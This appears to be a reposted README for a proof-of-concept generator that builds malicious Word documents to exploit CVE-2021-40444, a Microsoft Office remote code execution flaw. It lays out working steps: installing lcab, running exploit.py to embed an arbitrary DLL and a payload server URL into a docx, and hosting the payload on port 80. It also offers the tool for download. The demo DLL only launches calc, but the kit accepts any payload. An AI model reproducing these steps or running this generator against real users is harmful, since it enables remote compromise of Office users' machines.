CVE-2021-40444 PoC – Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)

CVE 2021 40444 3 calc

Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)

Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)

You need to install lcab first (sudo apt-get install lcab)

Check REPRODUCE.md for manual reproduce steps

If your generated cab is not working, try pointing out exploit.html URL to calc.cab

Using

First generate a malicious docx document given a DLL, you can use the one at test/calc.dll which just pops a calc.exe from a call to system()

python3 exploit.py generate test/calc.dll http://<SRV IP>

CVE 2021 40444 1 gen

Once you generate the malicious docx (will be at out/) you can setup the server:

sudo python3 exploit.py host 80

CVE 2021 40444 2 srv

Finally try the docx in a Windows Virtual Machine:

CVE 2021 40444 3 calc

 

Download CVE-2021-40444

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